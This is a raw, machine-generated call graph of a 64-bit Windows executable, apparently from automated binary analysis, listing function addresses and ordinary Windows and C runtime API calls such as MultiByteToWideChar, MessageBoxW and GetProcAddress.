7ff7da8dacf0 _wfindfirst32i64 8 API calls 15275 7ff7da8d69fe 15274->15275 15275->15009 15277 7ff7da8d79a0 57 API calls 15276->15277 15278 7ff7da8d6f27 SetEnvironmentVariableW 15277->15278 15279 7ff7da8d6f3f __vcrt_freefls 15278->15279 15279->15013 15281 7ff7da8d1b30 49 API calls 15280->15281 15282 7ff7da8d1a00 15281->15282 15283 7ff7da8d1b30 49 API calls 15282->15283 15289 7ff7da8d1a7a 15282->15289 15284 7ff7da8d1a22 15283->15284 15285 7ff7da8d3b00 49 API calls 15284->15285 15284->15289 15286 7ff7da8d1a3b 15285->15286 16014 7ff7da8d17b0 15286->16014 15289->15016 15289->15018 15290 7ff7da8df1fc 74 API calls 15290->15289 15292 7ff7da8d79c1 MultiByteToWideChar 15291->15292 15293 7ff7da8d7a47 MultiByteToWideChar 15291->15293 15294 7ff7da8d79e7 15292->15294 15298 7ff7da8d7a0c 15292->15298 15295 7ff7da8d7a8f 15293->15295 15296 7ff7da8d7a6a 15293->15296 15297 7ff7da8d2620 55 API calls 15294->15297 15295->15026 15299 7ff7da8d2620 55 API calls 15296->15299 15301 7ff7da8d79fa 15297->15301 15298->15293 15302 7ff7da8d7a22 15298->15302 15300 7ff7da8d7a7d 15299->15300 15300->15026 15301->15026 15303 7ff7da8d2620 55 API calls 15302->15303 15304 7ff7da8d7a35 15303->15304 15304->15026 15306 7ff7da8d5e35 15305->15306 15307 7ff7da8d3890 15306->15307 15308 7ff7da8d24d0 59 API calls 15306->15308 15307->15036 15413 7ff7da8d5ac0 15307->15413 15308->15307 15311 7ff7da8d31a4 15309->15311 15315 7ff7da8d3163 15309->15315 15310 7ff7da8d31e3 15313 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15310->15313 15311->15310 15312 7ff7da8d1ab0 74 API calls 15311->15312 15312->15311 15314 7ff7da8d31f5 15313->15314 15314->15068 15319 7ff7da8d6ea0 15314->15319 15315->15311 16087 7ff7da8d1440 15315->16087 16121 7ff7da8d2990 15315->16121 16175 7ff7da8d1780 15315->16175 15320 7ff7da8d79a0 57 API calls 15319->15320 15321 7ff7da8d6ebf 15320->15321 15322 7ff7da8d79a0 57 API calls 15321->15322 15323 7ff7da8d6ecf 15322->15323 15324 7ff7da8e6604 38 API calls 15323->15324 15325 7ff7da8d6edd __vcrt_freefls 15324->15325 15325->15057 15327 7ff7da8d6f60 15326->15327 15328 7ff7da8d79a0 57 API calls 15327->15328 15329 7ff7da8d6f91 SetConsoleCtrlHandler GetStartupInfoW 15328->15329 15330 7ff7da8d6ff2 15329->15330 17038 7ff7da8e90d4 15330->17038 15374 7ff7da8d2790 15373->15374 15375 7ff7da8e3b34 49 API calls 15374->15375 15376 7ff7da8d27dd __scrt_get_show_window_mode 15375->15376 15377 7ff7da8d79a0 57 API calls 15376->15377 15378 7ff7da8d280a 15377->15378 15379 7ff7da8d280f 15378->15379 15380 7ff7da8d2849 MessageBoxA 15378->15380 15381 7ff7da8d79a0 57 API calls 15379->15381 15382 7ff7da8d2863 15380->15382 15383 7ff7da8d2829 MessageBoxW 15381->15383 15384 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15382->15384 15383->15382 15385 7ff7da8d2873 15384->15385 15385->15068 15387 7ff7da8d3c9c 15386->15387 15388 7ff7da8d79a0 57 API calls 15387->15388 15389 7ff7da8d3cc7 15388->15389 15390 7ff7da8d79a0 57 API calls 15389->15390 15391 7ff7da8d3cda 15390->15391 17094 7ff7da8e5418 15391->17094 15394 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15395 7ff7da8d37ba 15394->15395 15395->15037 15396 7ff7da8d7170 15395->15396 15397 7ff7da8d7194 15396->15397 15398 7ff7da8df884 73 API calls 15397->15398 15403 7ff7da8d726b __vcrt_freefls 15397->15403 15399 7ff7da8d71ae 15398->15399 15399->15403 17473 7ff7da8e7888 15399->17473 15401 7ff7da8df884 73 API calls 15404 7ff7da8d71c3 15401->15404 15402 7ff7da8df54c _fread_nolock 53 API calls 15402->15404 15403->15040 15404->15401 15404->15402 15404->15403 15406 7ff7da8df22c 15405->15406 17488 7ff7da8defd8 15406->17488 15408 7ff7da8df245 15408->15037 15410 7ff7da8d3277 15409->15410 15411 7ff7da8d32a0 15409->15411 15410->15411 15412 7ff7da8d1780 59 API calls 15410->15412 15411->15019 15412->15410 15414 7ff7da8d5ae4 15413->15414 15419 7ff7da8d5b11 15413->15419 15415 7ff7da8d5b07 memcpy_s __vcrt_freefls 15414->15415 15416 7ff7da8d5b0c 15414->15416 15417 7ff7da8d1780 59 API calls 15414->15417 15414->15419 15415->15042 17499 7ff7da8d12b0 15416->17499 15417->15414 15419->15415 17525 7ff7da8d3d10 15419->17525 15421 7ff7da8d5b77 15421->15415 15422 7ff7da8d2770 59 API calls 15421->15422 15422->15415 15429 7ff7da8d563a memcpy_s 15423->15429 15425 7ff7da8d575f 15426 7ff7da8d3d10 49 API calls 15425->15426 15428 7ff7da8d57d8 15426->15428 15427 7ff7da8d577b 15430 7ff7da8d2770 59 API calls 15427->15430 15433 7ff7da8d3d10 49 API calls 15428->15433 15429->15425 15429->15427 15431 7ff7da8d3d10 49 API calls 15429->15431 15432 7ff7da8d5740 15429->15432 15440 7ff7da8d1440 161 API calls 15429->15440 15441 7ff7da8d5761 15429->15441 17528 7ff7da8d1650 15429->17528 15435 7ff7da8d5771 __vcrt_freefls 15430->15435 15431->15429 15432->15425 15434 7ff7da8d3d10 49 API calls 15432->15434 15437 7ff7da8d5808 15433->15437 15434->15425 15436 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15435->15436 15438 7ff7da8d38b9 15436->15438 15439 7ff7da8d3d10 49 API calls 15437->15439 15438->15051 15438->15052 15439->15435 15440->15429 15442 7ff7da8d2770 59 API calls 15441->15442 15442->15435 17533 7ff7da8d7120 15443->17533 15445 7ff7da8d55c2 15446 7ff7da8d7120 58 API calls 15445->15446 15447 7ff7da8d55d5 15446->15447 15448 7ff7da8d55fa 15447->15448 15449 7ff7da8d55ed GetProcAddress 15447->15449 15450 7ff7da8d2770 59 API calls 15448->15450 15453 7ff7da8d5f7c GetProcAddress 15449->15453 15454 7ff7da8d5f59 15449->15454 15452 7ff7da8d5606 15450->15452 15452->15059 15453->15454 15455 7ff7da8d5fa1 GetProcAddress 15453->15455 15457 7ff7da8d2620 57 API calls 15454->15457 15455->15454 15456 7ff7da8d5fc6 GetProcAddress 15455->15456 15456->15454 15459 7ff7da8d5fee GetProcAddress 15456->15459 15458 7ff7da8d5f6c 15457->15458 15458->15059 15459->15454 15518 7ff7da8d1b55 15517->15518 15519 7ff7da8e3b34 49 API calls 15518->15519 15520 7ff7da8d1b78 15519->15520 15520->15058 17537 7ff7da8d4940 15521->17537 15524 7ff7da8d30dd 15524->15064 15526 7ff7da8d30b4 15526->15524 17593 7ff7da8d46c0 15526->17593 15577 7ff7da8dad20 15558->15577 15561 7ff7da8d2669 15579 7ff7da8e3b34 15561->15579 15566 7ff7da8d1b30 49 API calls 15567 7ff7da8d26c8 __scrt_get_show_window_mode 15566->15567 15568 7ff7da8d79a0 54 API calls 15567->15568 15569 7ff7da8d26f5 15568->15569 15570 7ff7da8d2734 MessageBoxA 15569->15570 15571 7ff7da8d26fa 15569->15571 15573 7ff7da8d274e 15570->15573 15572 7ff7da8d79a0 54 API calls 15571->15572 15574 7ff7da8d2714 MessageBoxW 15572->15574 15575 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15573->15575 15574->15573 15576 7ff7da8d275e 15575->15576 15576->15231 15578 7ff7da8d263c GetLastError 15577->15578 15578->15561 15583 7ff7da8e3b8e 15579->15583 15580 7ff7da8e3bb3 15581 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15580->15581 15596 7ff7da8e3bdd 15581->15596 15582 7ff7da8e3bef 15609 7ff7da8e1dc0 15582->15609 15583->15580 15583->15582 15585 7ff7da8e3ccc 15588 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15585->15588 15587 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15589 7ff7da8d2699 15587->15589 15588->15596 15597 7ff7da8d7420 15589->15597 15590 7ff7da8e3ca1 15593 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15590->15593 15591 7ff7da8e3cf0 15591->15585 15592 7ff7da8e3cfa 15591->15592 15595 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15592->15595 15593->15596 15594 7ff7da8e3c98 15594->15585 15594->15590 15595->15596 15596->15587 15598 7ff7da8d742c 15597->15598 15599 7ff7da8d744d FormatMessageW 15598->15599 15600 7ff7da8d7447 GetLastError 15598->15600 15601 7ff7da8d7480 15599->15601 15602 7ff7da8d749c WideCharToMultiByte 15599->15602 15600->15599 15603 7ff7da8d2620 54 API calls 15601->15603 15604 7ff7da8d74d6 15602->15604 15605 7ff7da8d7493 15602->15605 15603->15605 15606 7ff7da8d2620 54 API calls 15604->15606 15607 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15605->15607 15606->15605 15608 7ff7da8d26a0 15607->15608 15608->15566 15610 7ff7da8e1dfe 15609->15610 15611 7ff7da8e1dee 15609->15611 15612 7ff7da8e1e07 15610->15612 15617 7ff7da8e1e35 15610->15617 15613 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15611->15613 15614 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15612->15614 15615 7ff7da8e1e2d 15613->15615 15614->15615 15615->15585 15615->15590 15615->15591 15615->15594 15617->15611 15617->15615 15619 7ff7da8e20e4 15617->15619 15623 7ff7da8e2750 15617->15623 15649 7ff7da8e2418 15617->15649 15679 7ff7da8e1ca0 15617->15679 15682 7ff7da8e3970 15617->15682 15621 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15619->15621 15621->15611 15624 7ff7da8e2805 15623->15624 15625 7ff7da8e2792 15623->15625 15626 7ff7da8e280a 15624->15626 15631 7ff7da8e285f 15624->15631 15627 7ff7da8e282f 15625->15627 15628 7ff7da8e2798 15625->15628 15629 7ff7da8e283f 15626->15629 15630 7ff7da8e280c 15626->15630 15706 7ff7da8e0d00 15627->15706 15633 7ff7da8e279d 15628->15633 15636 7ff7da8e286e 15628->15636 15713 7ff7da8e08f0 15629->15713 15637 7ff7da8e27ad 15630->15637 15639 7ff7da8e281b 15630->15639 15631->15627 15631->15636 15647 7ff7da8e27c8 15631->15647 15633->15637 15638 7ff7da8e27e0 15633->15638 15633->15647 15648 7ff7da8e289d 15636->15648 15720 7ff7da8e1110 15636->15720 15637->15648 15688 7ff7da8e30b4 15637->15688 15638->15648 15698 7ff7da8e3570 15638->15698 15639->15627 15641 7ff7da8e2820 15639->15641 15641->15648 15702 7ff7da8e3708 15641->15702 15643 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15645 7ff7da8e2b33 15643->15645 15645->15617 15647->15648 15727 7ff7da8ed950 15647->15727 15648->15643 15650 7ff7da8e2423 15649->15650 15651 7ff7da8e2439 15649->15651 15653 7ff7da8e2805 15650->15653 15654 7ff7da8e2792 15650->15654 15655 7ff7da8e2477 15650->15655 15652 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15651->15652 15651->15655 15652->15655 15656 7ff7da8e285f 15653->15656 15657 7ff7da8e280a 15653->15657 15658 7ff7da8e282f 15654->15658 15659 7ff7da8e2798 15654->15659 15655->15617 15656->15658 15668 7ff7da8e286e 15656->15668 15677 7ff7da8e27c8 15656->15677 15660 7ff7da8e283f 15657->15660 15661 7ff7da8e280c 15657->15661 15663 7ff7da8e0d00 38 API calls 15658->15663 15666 7ff7da8e279d 15659->15666 15659->15668 15664 7ff7da8e08f0 38 API calls 15660->15664 15662 7ff7da8e27ad 15661->15662 15670 7ff7da8e281b 15661->15670 15665 7ff7da8e30b4 47 API calls 15662->15665 15678 7ff7da8e289d 15662->15678 15663->15677 15664->15677 15665->15677 15666->15662 15667 7ff7da8e27e0 15666->15667 15666->15677 15671 7ff7da8e3570 47 API calls 15667->15671 15667->15678 15669 7ff7da8e1110 38 API calls 15668->15669 15668->15678 15669->15677 15670->15658 15672 7ff7da8e2820 15670->15672 15671->15677 15674 7ff7da8e3708 37 API calls 15672->15674 15672->15678 15673 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15675 7ff7da8e2b33 15673->15675 15674->15677 15675->15617 15676 7ff7da8ed950 47 API calls 15676->15677 15677->15676 15677->15678 15678->15673 15876 7ff7da8dfec4 15679->15876 15683 7ff7da8e3987 15682->15683 15893 7ff7da8ecab0 15683->15893 15689 7ff7da8e30d6 15688->15689 15737 7ff7da8dfd30 15689->15737 15694 7ff7da8e3213 15696 7ff7da8e3970 45 API calls 15694->15696 15697 7ff7da8e329c 15694->15697 15695 7ff7da8e3970 45 API calls 15695->15694 15696->15697 15697->15647 15699 7ff7da8e3588 15698->15699 15701 7ff7da8e35f0 15698->15701 15700 7ff7da8ed950 47 API calls 15699->15700 15699->15701 15700->15701 15701->15647 15705 7ff7da8e3729 15702->15705 15703 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15704 7ff7da8e375a 15703->15704 15704->15647 15705->15703 15705->15704 15707 7ff7da8e0d33 15706->15707 15708 7ff7da8e0d62 15707->15708 15710 7ff7da8e0e1f 15707->15710 15709 7ff7da8dfd30 12 API calls 15708->15709 15712 7ff7da8e0d9f 15708->15712 15709->15712 15711 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15710->15711 15711->15712 15712->15647 15714 7ff7da8e0923 15713->15714 15715 7ff7da8e0952 15714->15715 15717 7ff7da8e0a0f 15714->15717 15716 7ff7da8dfd30 12 API calls 15715->15716 15719 7ff7da8e098f 15715->15719 15716->15719 15718 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15717->15718 15718->15719 15719->15647 15722 7ff7da8e1143 15720->15722 15721 7ff7da8e1172 15723 7ff7da8dfd30 12 API calls 15721->15723 15726 7ff7da8e11af 15721->15726 15722->15721 15724 7ff7da8e122f 15722->15724 15723->15726 15725 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15724->15725 15725->15726 15726->15647 15728 7ff7da8ed978 15727->15728 15729 7ff7da8ed9bd 15728->15729 15731 7ff7da8e3970 45 API calls 15728->15731 15734 7ff7da8ed97d __scrt_get_show_window_mode 15728->15734 15736 7ff7da8ed9a6 __scrt_get_show_window_mode 15728->15736 15729->15734 15729->15736 15873 7ff7da8ef008 15729->15873 15730 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15730->15734 15731->15729 15734->15647 15736->15730 15736->15734 15738 7ff7da8dfd56 15737->15738 15739 7ff7da8dfd67 15737->15739 15745 7ff7da8ed668 15738->15745 15739->15738 15740 7ff7da8eca1c _fread_nolock 12 API calls 15739->15740 15741 7ff7da8dfd94 15740->15741 15742 7ff7da8dfda8 15741->15742 15743 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15741->15743 15744 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15742->15744 15743->15742 15744->15738 15746 7ff7da8ed685 15745->15746 15747 7ff7da8ed6b8 15745->15747 15748 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15746->15748 15747->15746 15749 7ff7da8ed6ea 15747->15749 15761 7ff7da8e31f1 15748->15761 15750 7ff7da8ed732 15749->15750 15756 7ff7da8ed7fd 15749->15756 15750->15761 15767 7ff7da8e90fc 15750->15767 15751 7ff7da8ed8ef 15800 7ff7da8ecb54 15751->15800 15753 7ff7da8ed8b5 15793 7ff7da8eceec 15753->15793 15755 7ff7da8ed884 15786 7ff7da8ed1cc 15755->15786 15756->15751 15756->15753 15756->15755 15757 7ff7da8ed847 15756->15757 15759 7ff7da8ed83d 15756->15759 15776 7ff7da8ed3fc 15757->15776 15759->15753 15762 7ff7da8ed842 15759->15762 15761->15694 15761->15695 15762->15755 15762->15757 15765 7ff7da8e9d20 _wfindfirst32i64 17 API calls 15766 7ff7da8ed94c 15765->15766 15768 7ff7da8e9113 15767->15768 15769 7ff7da8e9109 15767->15769 15770 7ff7da8e4394 _get_daylight 11 API calls 15768->15770 15769->15768 15771 7ff7da8e912e 15769->15771 15775 7ff7da8e911a 15770->15775 15772 7ff7da8e9126 15771->15772 15774 7ff7da8e4394 _get_daylight 11 API calls 15771->15774 15772->15761 15772->15765 15773 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15773->15772 15774->15775 15775->15773 15809 7ff7da8f311c 15776->15809 15780 7ff7da8ed4a4 15781 7ff7da8ed4a8 15780->15781 15782 7ff7da8ed4f9 15780->15782 15784 7ff7da8ed4c4 15780->15784 15781->15761 15862 7ff7da8ecfe8 15782->15862 15858 7ff7da8ed2a4 15784->15858 15787 7ff7da8f311c 38 API calls 15786->15787 15788 7ff7da8ed216 15787->15788 15789 7ff7da8f2b64 37 API calls 15788->15789 15790 7ff7da8ed266 15789->15790 15791 7ff7da8ed26a 15790->15791 15792 7ff7da8ed2a4 45 API calls 15790->15792 15791->15761 15792->15791 15794 7ff7da8f311c 38 API calls 15793->15794 15795 7ff7da8ecf37 15794->15795 15796 7ff7da8f2b64 37 API calls 15795->15796 15797 7ff7da8ecf8f 15796->15797 15798 7ff7da8ecfe8 45 API calls 15797->15798 15799 7ff7da8ecf93 15797->15799 15798->15799 15799->15761 15801 7ff7da8ecbcc 15800->15801 15802 7ff7da8ecb99 15800->15802 15803 7ff7da8ecbe4 15801->15803 15807 7ff7da8ecc65 15801->15807 15804 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15802->15804 15805 7ff7da8eceec 46 API calls 15803->15805 15806 7ff7da8ecbc5 __scrt_get_show_window_mode 15804->15806 15805->15806 15806->15761 15807->15806 15808 7ff7da8e3970 45 API calls 15807->15808 15808->15806 15810 7ff7da8f316f fegetenv 15809->15810 15811 7ff7da8f707c 37 API calls 15810->15811 15815 7ff7da8f31c2 15811->15815 15812 7ff7da8f31ef 15817 7ff7da8e90fc __std_exception_copy 37 API calls 15812->15817 15813 7ff7da8f32b2 15814 7ff7da8f707c 37 API calls 15813->15814 15816 7ff7da8f32dc 15814->15816 15815->15813 15818 7ff7da8f328c 15815->15818 15819 7ff7da8f31dd 15815->15819 15820 7ff7da8f707c 37 API calls 15816->15820 15821 7ff7da8f326d 15817->15821 15824 7ff7da8e90fc __std_exception_copy 37 API calls 15818->15824 15819->15812 15819->15813 15822 7ff7da8f32ed 15820->15822 15823 7ff7da8f4394 15821->15823 15828 7ff7da8f3275 15821->15828 15825 7ff7da8f7270 20 API calls 15822->15825 15826 7ff7da8e9d20 _wfindfirst32i64 17 API calls 15823->15826 15824->15821 15836 7ff7da8f3356 __scrt_get_show_window_mode 15825->15836 15827 7ff7da8f43a9 15826->15827 15829 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15828->15829 15830 7ff7da8ed449 15829->15830 15854 7ff7da8f2b64 15830->15854 15831 7ff7da8f3397 memcpy_s 15849 7ff7da8f3cdb memcpy_s __scrt_get_show_window_mode 15831->15849 15852 7ff7da8f37f3 memcpy_s __scrt_get_show_window_mode 15831->15852 15832 7ff7da8f36ff __scrt_get_show_window_mode 15833 7ff7da8f2c80 37 API calls 15840 7ff7da8f4157 15833->15840 15834 7ff7da8f39eb 15834->15834 15835 7ff7da8f3a3f 15834->15835 15837 7ff7da8f43ac memcpy_s 37 API calls 15834->15837 15835->15833 15836->15831 15836->15832 15838 7ff7da8e4394 _get_daylight 11 API calls 15836->15838 15837->15835 15839 7ff7da8f37d0 15838->15839 15841 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15839->15841 15843 7ff7da8f43ac memcpy_s 37 API calls 15840->15843 15847 7ff7da8f41b2 15840->15847 15841->15831 15842 7ff7da8f4338 15844 7ff7da8f707c 37 API calls 15842->15844 15843->15847 15844->15828 15845 7ff7da8e4394 11 API calls _get_daylight 15845->15849 15846 7ff7da8e4394 11 API calls _get_daylight 15846->15852 15847->15842 15850 7ff7da8f2c80 37 API calls 15847->15850 15853 7ff7da8f43ac memcpy_s 37 API calls 15847->15853 15848 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 15848->15852 15849->15834 15849->15835 15849->15845 15851 7ff7da8e9d00 37 API calls _invalid_parameter_noinfo 15849->15851 15850->15847 15851->15849 15852->15834 15852->15846 15852->15848 15853->15847 15855 7ff7da8f2b83 15854->15855 15856 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15855->15856 15857 7ff7da8f2bae memcpy_s 15855->15857 15856->15857 15857->15780 15859 7ff7da8ed2d0 memcpy_s 15858->15859 15860 7ff7da8e3970 45 API calls 15859->15860 15861 7ff7da8ed38a memcpy_s __scrt_get_show_window_mode 15859->15861 15860->15861 15861->15781 15863 7ff7da8ed023 15862->15863 15867 7ff7da8ed070 memcpy_s 15862->15867 15864 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15863->15864 15865 7ff7da8ed04f 15864->15865 15865->15781 15866 7ff7da8ed0db 15868 7ff7da8e90fc __std_exception_copy 37 API calls 15866->15868 15867->15866 15869 7ff7da8e3970 45 API calls 15867->15869 15872 7ff7da8ed11d memcpy_s 15868->15872 15869->15866 15870 7ff7da8e9d20 _wfindfirst32i64 17 API calls 15871 7ff7da8ed1c8 15870->15871 15872->15870 15875 7ff7da8ef02c WideCharToMultiByte 15873->15875 15877 7ff7da8dff03 15876->15877 15878 7ff7da8dfef1 15876->15878 15881 7ff7da8dff10 15877->15881 15885 7ff7da8dff4d 15877->15885 15879 7ff7da8e4394 _get_daylight 11 API calls 15878->15879 15880 7ff7da8dfef6 15879->15880 15882 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15880->15882 15883 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 15881->15883 15889 7ff7da8dff01 15882->15889 15883->15889 15884 7ff7da8dfff6 15886 7ff7da8e4394 _get_daylight 11 API calls 15884->15886 15884->15889 15885->15884 15887 7ff7da8e4394 _get_daylight 11 API calls 15885->15887 15888 7ff7da8e00a0 15886->15888 15890 7ff7da8dffeb 15887->15890 15891 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15888->15891 15889->15617 15892 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15890->15892 15891->15889 15892->15884 15894 7ff7da8ecac9 15893->15894 15896 7ff7da8e39af 15893->15896 15894->15896 15901 7ff7da8f2374 15894->15901 15897 7ff7da8ecb1c 15896->15897 15898 7ff7da8ecb35 15897->15898 15899 7ff7da8e39bf 15897->15899 15898->15899 15945 7ff7da8f16e0 15898->15945 15899->15617 15913 7ff7da8ea570 GetLastError 15901->15913 15904 7ff7da8f23ce 15904->15896 15914 7ff7da8ea594 FlsGetValue 15913->15914 15915 7ff7da8ea5b1 FlsSetValue 15913->15915 15916 7ff7da8ea5ab 15914->15916 15932 7ff7da8ea5a1 15914->15932 15917 7ff7da8ea5c3 15915->15917 15915->15932 15916->15915 15919 7ff7da8edc90 _get_daylight 11 API calls 15917->15919 15918 7ff7da8ea61d SetLastError 15920 7ff7da8ea63d 15918->15920 15921 7ff7da8ea62a 15918->15921 15922 7ff7da8ea5d2 15919->15922 15936 7ff7da8e915c 15920->15936 15921->15904 15935 7ff7da8ef6d8 EnterCriticalSection 15921->15935 15924 7ff7da8ea5f0 FlsSetValue 15922->15924 15925 7ff7da8ea5e0 FlsSetValue 15922->15925 15927 7ff7da8ea60e 15924->15927 15928 7ff7da8ea5fc FlsSetValue 15924->15928 15926 7ff7da8ea5e9 15925->15926 15930 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15926->15930 15931 7ff7da8ea314 _get_daylight 11 API calls 15927->15931 15928->15926 15930->15932 15933 7ff7da8ea616 15931->15933 15932->15918 15934 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15933->15934 15934->15918 15937 7ff7da8f26c0 __CxxCallCatchBlock EnterCriticalSection LeaveCriticalSection 15936->15937 15938 7ff7da8e9165 15937->15938 15939 7ff7da8e9174 15938->15939 15940 7ff7da8f2710 __CxxCallCatchBlock 44 API calls 15938->15940 15941 7ff7da8e917d IsProcessorFeaturePresent 15939->15941 15944 7ff7da8e91a7 __CxxCallCatchBlock 15939->15944 15940->15939 15942 7ff7da8e918c 15941->15942 15943 7ff7da8e9a34 _wfindfirst32i64 14 API calls 15942->15943 15943->15944 15946 7ff7da8ea570 __CxxCallCatchBlock 45 API calls 15945->15946 15947 7ff7da8f16e9 15946->15947 15955 7ff7da8e423c EnterCriticalSection 15948->15955 15957 7ff7da8d24ec 15956->15957 15958 7ff7da8e3b34 49 API calls 15957->15958 15959 7ff7da8d253f 15958->15959 15960 7ff7da8e4394 _get_daylight 11 API calls 15959->15960 15961 7ff7da8d2544 15960->15961 15975 7ff7da8e43b4 15961->15975 15964 7ff7da8d1b30 49 API calls 15965 7ff7da8d2573 __scrt_get_show_window_mode 15964->15965 15966 7ff7da8d79a0 57 API calls 15965->15966 15967 7ff7da8d25a0 15966->15967 15968 7ff7da8d25a5 15967->15968 15969 7ff7da8d25df MessageBoxA 15967->15969 15970 7ff7da8d79a0 57 API calls 15968->15970 15971 7ff7da8d25f9 15969->15971 15972 7ff7da8d25bf MessageBoxW 15970->15972 15973 7ff7da8dacf0 _wfindfirst32i64 8 API calls 15971->15973 15972->15971 15974 7ff7da8d2609 15973->15974 15974->15244 15976 7ff7da8ea6e8 _get_daylight 11 API calls 15975->15976 15977 7ff7da8e43cb 15976->15977 15978 7ff7da8d254b 15977->15978 15979 7ff7da8edc90 _get_daylight 11 API calls 15977->15979 15982 7ff7da8e440b 15977->15982 15978->15964 15980 7ff7da8e4400 15979->15980 15981 7ff7da8e9d68 Concurrency::details::SchedulerProxy::DeleteThis 11 API calls 15980->15981 15981->15982 15982->15978 15987 7ff7da8ee368 15982->15987 15985 7ff7da8e9d20 _wfindfirst32i64 17 API calls 15986 7ff7da8e4450 15985->15986 15991 7ff7da8ee385 15987->15991 15988 7ff7da8ee38a 15989 7ff7da8e4431 15988->15989 15990 7ff7da8e4394 _get_daylight 11 API calls 15988->15990 15989->15978 15989->15985 15995 7ff7da8ee394 15990->15995 15991->15988 15991->15989 15993 7ff7da8ee3d4 15991->15993 15992 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 15992->15989 15993->15989 15994 7ff7da8e4394 _get_daylight 11 API calls 15993->15994 15994->15995 15995->15992 15997 7ff7da8d7ad4 WideCharToMultiByte 15996->15997 15998 7ff7da8d7b42 WideCharToMultiByte 15996->15998 15999 7ff7da8d7b15 15997->15999 16000 7ff7da8d7afe 15997->16000 16001 7ff7da8d7b6f 15998->16001 16006 7ff7da8d3be5 15998->16006 15999->15998 16004 7ff7da8d7b2b 15999->16004 16002 7ff7da8d2620 57 API calls 16000->16002 16003 7ff7da8d2620 57 API calls 16001->16003 16002->16006 16003->16006 16005 7ff7da8d2620 57 API calls 16004->16005 16005->16006 16006->15254 16006->15256 16008 7ff7da8e9073 16007->16008 16011 7ff7da8d69ee 16007->16011 16009 7ff7da8e90fc __std_exception_copy 37 API calls 16008->16009 16008->16011 16010 7ff7da8e90a0 16009->16010 16010->16011 16012 7ff7da8e9d20 _wfindfirst32i64 17 API calls 16010->16012 16011->15274 16013 7ff7da8e90d0 16012->16013 16015 7ff7da8d17d4 16014->16015 16016 7ff7da8d17e4 16014->16016 16017 7ff7da8d3c90 116 API calls 16015->16017 16018 7ff7da8d7170 83 API calls 16016->16018 16021 7ff7da8d1842 16016->16021 16017->16016 16019 7ff7da8d1815 16018->16019 16019->16021 16048 7ff7da8df884 16019->16048 16023 7ff7da8dacf0 _wfindfirst32i64 8 API calls 16021->16023 16022 7ff7da8d182b 16024 7ff7da8d182f 16022->16024 16025 7ff7da8d184c 16022->16025 16026 7ff7da8d19c0 16023->16026 16027 7ff7da8d24d0 59 API calls 16024->16027 16052 7ff7da8df54c 16025->16052 16026->15289 16026->15290 16027->16021 16030 7ff7da8d1867 16032 7ff7da8d24d0 59 API calls 16030->16032 16031 7ff7da8df884 73 API calls 16033 7ff7da8d18d1 16031->16033 16032->16021 16034 7ff7da8d18e3 16033->16034 16035 7ff7da8d18fe 16033->16035 16036 7ff7da8d24d0 59 API calls 16034->16036 16037 7ff7da8df54c _fread_nolock 53 API calls 16035->16037 16036->16021 16038 7ff7da8d1913 16037->16038 16038->16030 16039 7ff7da8d1925 16038->16039 16055 7ff7da8df2c0 16039->16055 16042 7ff7da8d193d 16044 7ff7da8d2770 59 API calls 16042->16044 16043 7ff7da8d1993 16043->16021 16046 7ff7da8df1fc 74 API calls 16043->16046 16044->16021 16045 7ff7da8d1950 16045->16043 16047 7ff7da8d2770 59 API calls 16045->16047 16046->16021 16047->16043 16049 7ff7da8df8b4 16048->16049 16061 7ff7da8df614 16049->16061 16051 7ff7da8df8cd 16051->16022 16073 7ff7da8df56c 16052->16073 16056 7ff7da8df2c9 16055->16056 16058 7ff7da8d1939 16055->16058 16057 7ff7da8e4394 _get_daylight 11 API calls 16056->16057 16059 7ff7da8df2ce 16057->16059 16058->16042 16058->16045 16060 7ff7da8e9d00 _invalid_parameter_noinfo 37 API calls 16059->16060 16060->16058 16062 7ff7da8df67e 16061->16062 16063 7ff7da8df63e 16061->16063 16062->16063 16065 7ff7da8df68a 16062->16065 16064 7ff7da8e9c34 _invalid_parameter_noinfo 37 API calls 16063->16064 16068 7ff7da8df665 16064->16068 16072 7ff7da8e423c EnterCriticalSection 16065->16072 16068->16051 16074 7ff7da8df596 16073->16074 16075 7ff7da8d1861 16073->16075 16074->16075 16076 7ff7da8df5a5 __scrt_get_show_window_mode 16074->16076 16077 7ff7da8df5e2 16074->16077 